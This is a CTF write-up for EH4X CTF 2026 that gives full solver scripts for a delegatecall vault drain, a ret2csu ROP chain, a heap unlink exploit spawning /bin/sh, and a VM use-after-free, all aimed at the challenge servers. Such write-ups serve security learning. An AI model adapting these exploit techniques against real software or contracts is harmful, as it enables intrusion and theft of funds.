EH4X CTF 2026: Writeup

Overview

This post collects the solved EH4X CTF 2026 challenges and the practical exploitation approach used for each.

Table of Contents


Heist V1 (Blockchain)

TL;DR

The vault trusted governance too much. By setting governance to an attacker contract and abusing delegatecall execution, storage got overwritten (admin/paused), then funds could be withdrawn.

Root Cause

  • setGovernance allowed untrusted governance replacement.
  • execute used delegatecall into governance-controlled logic.
  • Delegatecall context let attacker write directly to Vault storage.

Exploit Path

  1. Deploy attacker governance contract.
  2. Call setGovernance(attacker).
  3. Trigger execute(...) to run attacker pwn() via delegatecall.
  4. Flip vault state (e.g., unpause + set admin/player).
  5. Call withdraw().

Solver Code

#!/usr/bin/env python3
import os
import re
import subprocess
import tempfile
import time

from pwn import remote, context
from web3 import Web3

context.log_level = 'error'

HOST = os.getenv('HOST', '135.235.193.111')
PORT = int(os.getenv('PORT', '1337'))

VAULT_ABI = [
    {"inputs": [{"internalType": "address", "name": "_g", "type": "address"}], "name": "setGovernance", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
    {"inputs": [{"internalType": "bytes", "name": "data", "type": "bytes"}], "name": "execute", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
    {"inputs": [], "name": "withdraw", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
]

EVIL_ABI = [
    {"inputs": [], "name": "pwn", "outputs": [], "stateMutability": "nonpayable", "type": "function"}
]


def compile_evil_bytecode() -> str:
    src = './EvilGov.sol'
    with tempfile.TemporaryDirectory() as td:
        subprocess.check_call([
            'solc',
            '--bin', src, '-o', td, '--overwrite'
        ])
        with open(f'{td}/EvilGov.bin', 'r') as f:
            return '0x' + f.read().strip()


def send_tx(w3, pk, nonce, to=None, data='0x', value=0):
    acct = w3.eth.account.from_key(pk)
    tx = {
        'from': acct.address,
        'nonce': nonce,
        'gas': 1_500_000,
        'maxFeePerGas': w3.to_wei(2, 'gwei'),
        'maxPriorityFeePerGas': w3.to_wei(1, 'gwei'),
        'chainId': w3.eth.chain_id,
        'value': value,
        'data': data,
    }
    if to is not None:
        tx['to'] = to

    signed = acct.sign_transaction(tx)
    txh = w3.eth.send_raw_transaction(signed.raw_transaction)
    rec = w3.eth.wait_for_transaction_receipt(txh, timeout=30)
    return rec


def main():
    r = remote(HOST, PORT, timeout=30)

    # Keep this same launcher session alive; checker result is bound to it.
    banner = r.recvuntil(b'> ', timeout=30).decode(errors='ignore')

    rpc_m = re.search(r'RPC URL\s*:\s*(\S+)', banner)
    vault_m = re.search(r'Vault\s*:\s*(0x[0-9a-fA-F]{40})', banner)
    pk_m = re.search(r'Player Private Key:\s*\n(0x[0-9a-fA-F]+)', banner)

    if not (rpc_m and vault_m and pk_m):
        print(banner)
        raise RuntimeError('Failed to parse challenge launcher output')

    rpc = rpc_m.group(1)
    vault_addr = Web3.to_checksum_address(vault_m.group(1))
    pk = pk_m.group(1)

    w3 = Web3(Web3.HTTPProvider(rpc, request_kwargs={'timeout': 15}))

    for _ in range(45):
        try:
            _ = w3.eth.chain_id
            break
        except Exception:
            time.sleep(1)
    else:
        raise RuntimeError('RPC not ready in time')

    acct = w3.eth.account.from_key(pk)
    nonce = w3.eth.get_transaction_count(acct.address)

    bytecode = compile_evil_bytecode()

    rec_dep = send_tx(w3, pk, nonce, to=None, data=bytecode)
    nonce += 1
    evil_addr = Web3.to_checksum_address(rec_dep.contractAddress)

    vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)
    evil = w3.eth.contract(address=evil_addr, abi=EVIL_ABI)

    data_set = vault.encode_abi('setGovernance', args=[evil_addr])
    send_tx(w3, pk, nonce, to=vault_addr, data=data_set)
    nonce += 1

    pwn_calldata = evil.encode_abi('pwn', args=[])
    data_exec = vault.encode_abi('execute', args=[bytes.fromhex(pwn_calldata[2:])])
    send_tx(w3, pk, nonce, to=vault_addr, data=data_exec)
    nonce += 1

    data_wd = vault.encode_abi('withdraw', args=[])
    send_tx(w3, pk, nonce, to=vault_addr, data=data_wd)

    r.sendline(b'1')
    out = r.recvrepeat(8).decode(errors='ignore')
    m = re.search(r'(EH4X\{[^\r\n]+\})', out)
    if m:
        print(m.group(1))


if __name__ == '__main__':
    main()

Flag

EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

i-guess-bro (Reverse)

TL;DR

RISC-V checker binary contained decoy strings and a real obfuscated flag blob in .rodata. Reversing the decode routine recovered the real flag directly.

Root Cause

The binary compared user input against a decoded byte sequence where:

decoded[i] = blob[i] ^ ((i*7) & 0xff) ^ 0xA5

The blob range in .rodata was static and extractable.

Exploit Path

  1. Locate checker routine and decode formula in disassembly.
  2. Extract encoded blob from .rodata.
  3. Apply inverse transform script.
  4. Print recovered flag.

Solver Code

#!/usr/bin/env python3
from __future__ import annotations

from elftools.elf.elffile import ELFFile
from pathlib import Path

BIN = Path(__file__).resolve().parent / "chall"


def decode_flag_from_blob(blob: bytes) -> bytes:
    return bytes(((b ^ ((i * 7) & 0xFF) ^ 0xA5) & 0xFF) for i, b in enumerate(blob))


def get_blob(elf_path: Path) -> bytes:
    with elf_path.open("rb") as f:
        elf = ELFFile(f)
        ro = elf.get_section_by_name(".rodata")
        ro_base = ro["sh_addr"]
        ro_data = ro.data()

        start = 0x57BC8
        end = 0x57BEB
        return ro_data[start - ro_base : end - ro_base]


def main() -> None:
    blob = get_blob(BIN)
    flag = decode_flag_from_blob(blob)
    print(flag.decode())


if __name__ == "__main__":
    main()

Flag

EH4X{y0u_gu3ss3d_th4t_r1sc_cr4ckm3}

Womp Womp (Pwn)

TL;DR

Three-stage binary leaked canary/PIE/lib addresses via over-reads and then allowed a final stack overflow. Chained ret2csu + ORW to read flag.txt.

Root Cause

  • submit_note() over-read stack data, leaking canary/saved frame values.
  • review_note() over-read function pointer, leaking PIE.
  • finalize_entry() read far beyond stack buffer, enabling ROP.

Exploit Path

  1. Leak canary and stack data from stage-1 over-read.
  2. Leak PIE base from stage-2 function pointer.
  3. Use first overflow to leak runtime libc/libcoreio address.
  4. Re-enter vulnerable function.
  5. Second overflow builds ORW chain:
    • open("flag.txt", 0)
    • read(fd, buf, size)
    • write(1, buf, size)

Solver Code

#!/usr/bin/env python3
from pwn import *
import re

context.binary = elf = ELF('./handout/challenge', checksec=False)
lib = ELF('./handout/libcoreio.so', checksec=False)

HOST = '20.244.7.184'
PORT = 1337


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(elf.path, cwd='./handout')


def solve(io):
    io.recvuntil(b'Input log entry: ')
    io.send(b'A' * 0x40)
    out1 = io.recvuntil(b'Input processing note: ')

    body1 = out1.split(b'[LOG] Entry received: ')[1]
    leak1 = body1[0x40:0x58]
    canary = u64(leak1[8:16])
    saved_rbp = u64(leak1[16:24])

    io.send(b'B' * 0x20)
    out2 = io.recvuntil(b'Send final payload: ')
    body2 = out2.split(b'[PROC] Processing: ')[1]
    leak2 = body2[:0x30]
    finalize_note_ptr = u64(leak2[0x20:0x28])
    pie = finalize_note_ptr - elf.sym['finalize_note']

    csu_pop = pie + 0xc9a
    csu_call = pie + 0xc80
    finalize_entry = pie + elf.sym['finalize_entry']
    got_write = pie + elf.got['write']
    got_read = pie + elf.got['read']
    got_emit = pie + elf.got['emit_report']

    payload1 = flat(
        b'C' * 0x40, canary, 0x4242424242424242,
        csu_pop,
        0, 1, got_write, 8, got_emit, 1,
        csu_call,
        0, 0, 0, 0, 0, 0, 0,
        finalize_entry,
    )
    io.send(payload1)

    io.recvuntil(b'[VULN] Done.\n')
    emit_runtime = u64(io.recvn(8))
    lib_base = emit_runtime - lib.sym['emit_report']

    pop_rdi = pie + 0xca3
    pop_rsi_r15 = pie + 0xca1
    open_plt_in_lib = lib_base + 0x6a0
    flag_path = lib_base + 0x970
    buf = saved_rbp - 0x500

    payload2 = flat(
        b'D' * 0x40, canary, saved_rbp,
        pop_rdi, flag_path,
        pop_rsi_r15, 0, 0,
        open_plt_in_lib,
        csu_pop,
        0, 1, got_read, 0x100, buf, 3,
        csu_call,
        0, 0, 0, 0, 0, 0, 0,
        csu_pop,
        0, 1, got_write, 0x100, buf, 1,
        csu_call,
        0, 0, 0, 0, 0, 0, 0,
    )

    io.recvuntil(b'Send final payload: ')
    io.send(payload2)

    data = io.recvall(timeout=5)
    m = re.search(rb'[A-Z0-9]{4}\{[^\r\n\}]+\}', data)
    if m:
        print(m.group(0).decode())


if __name__ == '__main__':
    io = start()
    solve(io)

Flag

EH4X{r0pp3d_th3_w0mp3d}

Lulocator (Pwn)

TL;DR

Custom allocator + unsafe unlink style corruption + controlled runner pointer gave code execution (system("/bin/sh")).

Root Cause

  • Custom chunk metadata was partially attacker-controlled via bounded-overflow write primitive.
  • Free-list unlink checks were insufficient against forged fd/bk pointers.
  • Global runner pointer was writable through unlink side effects.

Exploit Path

  1. Create heap objects and leak pointers (info).
  2. Free runner object into custom free-list.
  3. Overflow adjacent chunk into free node metadata (fd/bk).
  4. Trigger unlink to overwrite global runner pointer with fake object.
  5. Set fake callback to system, arg /bin/sh.
  6. Trigger run and read flag.

Solver Code

#!/usr/bin/env python3
from pwn import *
import re

context.binary = ELF('./handout/lulocator', checksec=False)
HOST = args.HOST or 'chall.ehax.in'
PORT = int(args.PORT or 40137)

if args.LIBC:
    libc_path = args.LIBC
elif args.REMOTE:
    libc_path = './handout/libc.so.6'
else:
    libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

libc = ELF(libc_path, checksec=False)


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(context.binary.path)


def exploit(io):
    def sl(a, b): io.sendlineafter(a, b)
    def sa(a, b): io.sendafter(a, b)

    def new(sz):
        sl(b'> ', b'1')
        sl(b'size: ', str(sz).encode())

    def write_idx(idx, ln, data):
        sl(b'> ', b'2')
        sl(b'idx: ', str(idx).encode())
        sl(b'len: ', str(ln).encode())
        sa(b'data: ', data)

    def delete(idx):
        sl(b'> ', b'3')
        sl(b'idx: ', str(idx).encode())

    def info(idx):
        sl(b'> ', b'4')
        sl(b'idx: ', str(idx).encode())
        line = io.recvline_contains(b'[info]')
        m = re.search(rb'addr=0x([0-9a-f]+) out=0x([0-9a-f]+) len=([0-9]+)', line)
        return int(m.group(1), 16), int(m.group(2), 16), int(m.group(3))

    def set_runner(idx):
        sl(b'> ', b'5')
        sl(b'idx: ', str(idx).encode())

    def run_runner():
        sl(b'> ', b'6')

    new(0x100)
    a_hdr, stdout_ptr, _ = info(0)
    libc.address = stdout_ptr - libc.symbols['_IO_2_1_stdout_']
    system = libc.symbols['system']

    new(0x100)
    b_hdr, _, _ = info(1)
    set_runner(1)
    delete(1)

    runner_global = 0x404940
    a_data = a_hdr + 0x28
    forged_fd = runner_global - 8
    forged_bk = a_data

    payload = bytearray(b'A' * 0x118)
    payload[0x10:0x18] = p64(system)
    payload[0x28:0x30] = b'/bin/sh\x00'
    payload[0x108:0x110] = p64(forged_fd)
    payload[0x110:0x118] = p64(forged_bk)

    write_idx(0, len(payload), bytes(payload))
    new(0x100)
    run_runner()

    io.sendline(b'cat flag.txt || cat handout/flag.txt')
    io.interactive()


if __name__ == '__main__':
    io = start()
    exploit(io)

Flag

EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}

SarcAsm / Sarcasm (Pwn)

TL;DR

Custom VM had GC marking bug for buffer type, producing UAF read/write primitives. Leak PIE callback pointer, overwrite builtin callback to hidden win, spawn shell.

Root Cause

VM GC did not properly mark/traverse type-1 buffer backing memory, so stale references survived while chunks were recycled for new objects.

Exploit Path

  1. Allocate buffer + slice, drop reference, force GC.
  2. Reallocate freed chunk as builtin object.
  3. Read stale slice bytes to leak callback pointer (PIE).
  4. Recreate UAF write primitive on reused chunk.
  5. Overwrite builtin callback with hidden execve gadget (win).
  6. Invoke CALL to execute and print flag.

Solver Code

#!/usr/bin/env python3
import argparse
import re
import socket
import struct
import subprocess
import time

OP = {
    'PUSH': 0x01, 'NEWBUF': 0x20, 'READ': 0x21, 'SLICE': 0x22, 'PRINTB': 0x23,
    'WRITEBUF': 0x25, 'GLOAD': 0x30, 'GSTORE': 0x31, 'BUILTIN': 0x40,
    'CALL': 0x41, 'GC': 0x60, 'HALT': 0xFF,
}


def uleb(x: int) -> bytes:
    out = bytearray()
    while True:
        b = x & 0x7F
        x >>= 7
        if x: out.append(b | 0x80)
        else:
            out.append(b)
            break
    return bytes(out)


def sleb(x: int) -> bytes:
    out = bytearray(); more = True
    while more:
        b = x & 0x7F
        sign = b & 0x40
        x >>= 7
        if (x == 0 and sign == 0) or (x == -1 and sign != 0):
            more = False
        else:
            b |= 0x80
        out.append(b)
    return bytes(out)


def build_code() -> bytes:
    c = bytearray()
    def emit1(op, a=None, signed=False):
        c.append(OP[op]);
        if a is not None: c.extend(sleb(a) if signed else uleb(a))
    def emit2(op, a, b):
        c.append(OP[op]); c.extend(uleb(a)); c.extend(uleb(b))

    emit1('NEWBUF', 24); emit1('GSTORE', 0)
    emit1('GLOAD', 0); emit1('READ', 24)
    emit1('GLOAD', 0); emit2('SLICE', 0, 8); emit1('GSTORE', 1)
    emit1('PUSH', 0, signed=True); emit1('GSTORE', 0); emit1('GC')
    emit1('BUILTIN', 0); emit1('GSTORE', 2)
    emit1('GLOAD', 1); emit1('PRINTB')

    emit1('NEWBUF', 24); emit1('GSTORE', 3)
    emit1('GLOAD', 3); emit1('READ', 24)
    emit1('GLOAD', 3); emit2('SLICE', 0, 8); emit1('GSTORE', 4)
    emit1('PUSH', 0, signed=True); emit1('GSTORE', 4); emit1('GC')
    emit1('BUILTIN', 1); emit1('GSTORE', 5)
    emit1('GLOAD', 3); emit2('WRITEBUF', 0, 16)
    emit1('GLOAD', 5); emit1('CALL', 0); emit1('HALT')
    return bytes(c)


CODE = build_code()
WIN_OFF = 0x3000
LEAK_OFF = 0x31D0


def recv_exact_sock(s: socket.socket, n: int) -> bytes:
    data = b''
    while len(data) < n:
        chunk = s.recv(n - len(data))
        if not chunk: raise EOFError
        data += chunk
    return data


def run_remote(host: str, port: int, cmd: bytes, timeout=8.0):
    s = socket.create_connection((host, port), timeout=timeout)
    s.settimeout(timeout)

    blob = struct.pack('<I', len(CODE)) + CODE
    s.sendall(blob + (b'A' * 24) + (b'B' * 24))

    leak = recv_exact_sock(s, 8)
    leak_ptr = struct.unpack('<Q', leak)[0]
    pie = leak_ptr - LEAK_OFF
    win = pie + WIN_OFF

    payload = struct.pack('<Q', win) + struct.pack('<Q', 0)
    s.sendall(payload)
    s.sendall(cmd)

    time.sleep(0.3)
    chunks = []
    s.settimeout(1.0)
    try:
        while True:
            d = s.recv(4096)
            if not d: break
            chunks.append(d)
    except Exception:
        pass
    s.close()
    return pie, win, b''.join(chunks)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--host', default='chall.ehax.in')
    ap.add_argument('--port', type=int, default=9999)
    args = ap.parse_args()

    cmd = b'echo __PWNED__\ncat flag* /flag* /home/*/flag* 2>/dev/null\nexit\n'
    _, _, out = run_remote(args.host, args.port, cmd)
    txt = out.decode('latin1', errors='ignore')
    print(txt)
    m = re.search(r'(EHAX\{[^\n\r\}]*\})', txt)
    if m:
        print('[FLAG]', m.group(1))


if __name__ == '__main__':
    main()

Flag

EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Inferno Sprint (Misc)

TL;DR

Grid-escape problem with multi-speed fire spread and portal teleports. Deterministic BFS with precomputed burn times solves all rounds within time limits.

Root Cause

No cryptographic trick here; this is algorithmic. Naive pathfinding fails due to dynamic hazard timing and portal transitions.

Exploit Path

  1. Parse each round (SIZE, START, LIMIT, hex-encoded grid).
  2. Compute earliest fire arrival map using multi-source BFS per speed class (1/2/3).
  3. Run time-aware BFS over (row, col, t) with pruning.
  4. Include P transition when on portal cell.
  5. Send valid path per round.

Solver Code

#!/usr/bin/env python3
import re
import socket
from collections import deque

HOST = "chall.ehax.in"
PORT = 31337


def decode_hex_row(hex_row: str) -> str:
    return bytes.fromhex(hex_row.strip()).decode("ascii")


def recv_until_path_prompt(sock: socket.socket) -> str:
    buf = bytearray()
    while b"PATH>" not in buf:
        chunk = sock.recv(4096)
        if not chunk: break
        buf.extend(chunk)
    return buf.decode("utf-8", "replace")


def parse_round_block(text: str):
    lines = [ln.rstrip("\n") for ln in text.splitlines()]
    ridx = next((i for i, ln in enumerate(lines) if ln.startswith("ROUND ")), None)
    if ridx is None: return None

    h, w = map(int, re.match(r"SIZE\s+(\d+)\s+(\d+)", lines[ridx + 1].strip()).groups())
    sr, sc = map(int, re.match(r"START\s+(\d+)\s+(\d+)", lines[ridx + 2].strip()).groups())
    limit = int(re.match(r"LIMIT\s+(\d+)", lines[ridx + 3].strip()).group(1))
    grid = [list(decode_hex_row(r)) for r in lines[ridx + 4 : ridx + 4 + h]]

    return {"h": h, "w": w, "sr": sr, "sc": sc, "limit": limit, "grid": grid}


def compute_fire_time(grid):
    h, w = len(grid), len(grid[0]); INF = 10**9
    dists = {k: [[INF]*w for _ in range(h)] for k in (1,2,3)}
    qs = {k: deque() for k in (1,2,3)}

    for r in range(h):
        for c in range(w):
            ch = grid[r][c]
            if ch in "123":
                k = int(ch)
                dists[k][r][c] = 0
                qs[k].append((r,c))

    dirs = ((1,0),(-1,0),(0,1),(0,-1))
    for k in (1,2,3):
        q = qs[k]; dist = dists[k]
        while q:
            r,c = q.popleft()
            nd = dist[r][c] + 1
            for dr,dc in dirs:
                nr,nc = r+dr,c+dc
                if 0<=nr<h and 0<=nc<w and grid[nr][nc] != '#':
                    if nd < dist[nr][nc]:
                        dist[nr][nc] = nd
                        q.append((nr,nc))

    fire_t = [[INF]*w for _ in range(h)]
    for r in range(h):
        for c in range(w):
            if grid[r][c] == '#':
                fire_t[r][c] = -1
                continue
            fire_t[r][c] = min((dists[k][r][c] * k for k in (1,2,3)), default=INF)
    return fire_t


def find_escape_path(grid, sr, sc, move_limit):
    h, w = len(grid), len(grid[0])

    portals = {}
    for r in range(h):
        for c, ch in enumerate(grid[r]):
            if ch in "abcde":
                portals.setdefault(ch, []).append((r,c))

    portal_pair = {}
    for pts in portals.values():
        if len(pts) == 2:
            a,b = pts
            portal_pair[a] = b
            portal_pair[b] = a

    fire_t = compute_fire_time(grid)
    if fire_t[sr][sc] <= 0: return None

    q = deque([(sr, sc, 0)])
    seen = {(sr, sc): 0}
    prev = {(sr, sc, 0): None}
    moves = [(-1,0,'W'),(1,0,'S'),(0,-1,'A'),(0,1,'D')]

    while q:
        r,c,t = q.popleft()
        if t > move_limit: continue

        if t > 0 and (r == 0 or c == 0 or r == h-1 or c == w-1) and t < fire_t[r][c]:
            seq = []
            cur = (r,c,t)
            while prev[cur] is not None:
                pstate, act = prev[cur]
                seq.append(act)
                cur = pstate
            return ''.join(reversed(seq))

        nt = t + 1
        if nt > move_limit: continue

        for dr,dc,act in moves:
            nr,nc = r+dr,c+dc
            if not (0<=nr<h and 0<=nc<w): continue
            if grid[nr][nc] == '#': continue
            if nt >= fire_t[nr][nc]: continue
            if nt < seen.get((nr,nc), 10**9):
                seen[(nr,nc)] = nt
                nxt = (nr,nc,nt)
                prev[nxt] = ((r,c,t), act)
                q.append(nxt)

        if (r,c) in portal_pair:
            nr,nc = portal_pair[(r,c)]
            if nt < fire_t[nr][nc] and nt < seen.get((nr,nc), 10**9):
                seen[(nr,nc)] = nt
                nxt = (nr,nc,nt)
                prev[nxt] = ((r,c,t), 'P')
                q.append(nxt)

    return None


def solve_once(host=HOST, port=PORT):
    with socket.create_connection((host, port), timeout=10) as sock:
        sock.settimeout(10)
        for _ in range(5):
            block = recv_until_path_prompt(sock)
            rnd = parse_round_block(block)
            path = find_escape_path(rnd["grid"], rnd["sr"], rnd["sc"], rnd["limit"]) or "W"
            sock.sendall((path + "\n").encode())

        tail = bytearray()
        while True:
            try:
                chunk = sock.recv(4096)
            except socket.timeout:
                break
            if not chunk: break
            tail.extend(chunk)
        return tail.decode("utf-8", "replace")


def main():
    print(solve_once())


if __name__ == "__main__":
    main()

Flag

EH4X{1nf3rn0_spr1n7_bl4z3_runn3r_m4573r}

Chusembly (Misc)

TL;DR

Challenge VM leaked cross-request state. Repeatedly dumping registers eventually exposed another run’s flag-containing data.

Root Cause

Interpreter/register state was not isolated between requests/users. Global mutable state persisted and was observable by arbitrary clients.

Exploit Path

  1. Submit passive dump payload (STDOUT A..E) repeatedly.
  2. Parse output for EH4X{...} pattern.
  3. Capture leaked flag when another session pollutes shared state.

Flag

EH4X{chusembly_a1n7_7h47_7uffff_br0}

Final Notes

  • Most pwn wins here came from classic memory safety + control-flow recovery patterns.
  • The blockchain challenge was pure trust-boundary failure around delegatecall.
  • Misc category had two very different flavors: algorithmic simulation (Inferno Sprint) and state-isolation failure (Chusembly).
 

Zero

CTF notes by Zero


A consolidated writeup for solved EH4X CTF 2026 challenges across blockchain, pwn, rev, and misc.

2026-03-04


Tags

#ctf #eh4x #writeup #blockchain #pwn #rev #misc